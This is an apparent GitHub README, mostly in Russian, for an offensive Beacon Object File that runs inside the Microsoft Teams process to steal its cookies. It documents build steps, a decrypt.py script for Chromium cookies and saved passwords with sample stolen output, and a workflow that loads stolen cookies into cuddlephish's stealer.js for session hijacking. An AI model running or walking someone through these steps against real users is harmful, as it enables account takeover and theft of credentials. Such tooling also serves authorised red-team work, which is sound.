tierzerosecurity/teams-cookies-bofBOF для кражи cookies Teams
Крадет куки для Teams, работая внутри процесса ms-teams.exe. Связанная статья: https://tierzerosecurity.co.nz/2025/11/03/teams-cookies-bof.html
Основано на: https://blog.randorisec.fr/ms-teams-access-tokens/.
Этот инструмент во многом основан на Cookie-Monster-BOF.
BOF извлечет ключ шифрования, найдет процессы msedgewebview2.exe, имеющие дескриптор файла Cookies, скопирует дескриптор и затем бесфайлово загрузит целевой файл.
После загрузки куков можно использовать Python-скрипт расшифровки (см. ниже) для извлечения этих секретов.
BOF должен выполняться внутри процесса Teams ms-teams.exe. BOF не принимает аргументов.
Убедитесь, что Mingw-w64 и make установлены в Linux перед компиляцией.
make
Установка зависимостей
pip3 install -r requirements.txt
Использование
python3 decrypt.py -h
usage: decrypt.py [-h] -k KEY -o {cookies,passwords,cookie-editor,cuddlephish,firefox} -f FILE [--chrome-aes-key CHROME_AES_KEY]
Decrypt Chromium cookies and passwords given a key and DB file
options:
-h, --help show this help message and exit
-k KEY, --key KEY Decryption key
-o {cookies,passwords,cookie-editor,cuddlephish,firefox}, --option {cookies,passwords,cookie-editor,cuddlephish,firefox}
Option to choose
-f FILE, --file FILE Location of the database file
--chrome-aes-key CHROME_AES_KEY
Chrome AES Key
Примеры: Расшифровать файл куков Chrome/Edge
python .\decrypt.py -k "\xec\xfc...." -o cookies -f ChromeCookies.db
Results Example:
-----------------------------------
Host: .github.com
Path: /
Name: dotcom_user
Cookie: KingOfTheNOPs
Expires: Oct 28 2024 21:25:22
Host: github.com
Path: /
Name: user_session
Cookie: x123.....
Expires: Nov 11 2023 21:25:22
Расшифровать куки Chrome с ключом AES Chrome
python3 decrypt.py --chrome-aes-key '\x8e\....' -k "\x03\...." -o cuddlephish -f ChromeCookies.db
Cookies saved to cuddlephish_2025-07-03_01-53-57.json
Расшифровать файл куков Chrome/Edge и сохранить в json
python .\decrypt.py -k "\xec\xfc...." -o cookie-editor -f ChromeCookies.db
Results Example:
Cookies saved to 2025-04-11_18-06-10_cookies.json
Импортируйте JSON-файл куков с помощью https://cookie-editor.com/
Расшифровать файл паролей Chome/Edge
python .\decrypt.py -k "\xec\xfc...." -o passwords ChromePasswords.db
Results Example:
-----------------------------------
URL: https://test.com/
Username: tester
Password: McTesty
Расшифровать куки и сохраненные учетные данные Firefox:
https://github.com/lclevy/firepwd
добавлена опция cuddlephish в скрипт расшифровки, которая должна поддерживать использование кук с https://github.com/fkasler/cuddlephish
# Decrypt Cookies
python3 decrypt.py -k "\xec\xfc..." -o cuddlephish -f ChromeCookies.db
# Clone Project
cd
git clone https://github.com/fkasler/cuddlephish
cd cuddlephish
# Install Dependencies Example on Debian
curl -fsSL https://deb.nodesource.com/setup_23.x -o nodesource_setup.sh
sudo -E bash nodesource_setup.sh
sudo apt-get install nodejs
npm install
# Import Cookies
cp ~/cookie-monster/cuddlephish_YYYY-MM-DD_HH-MM-SS.json .
node stealer.js cuddlephish_YYYY-MM-DD_HH-MM-SS.json
Кража токенов доступа Microsoft Teams в 2025:
https://blog.randorisec.fr/ms-teams-access-tokens/
Cookie-Monster-BOF:
https://github.com/KingOfTheNOPs/cookie-monster
Cookie Webkit Master Key Extractor:
https://github.com/Mr-Un1k0d3r/Cookie-Graber-BOF
Fileless download:
https://github.com/fortra/nanodump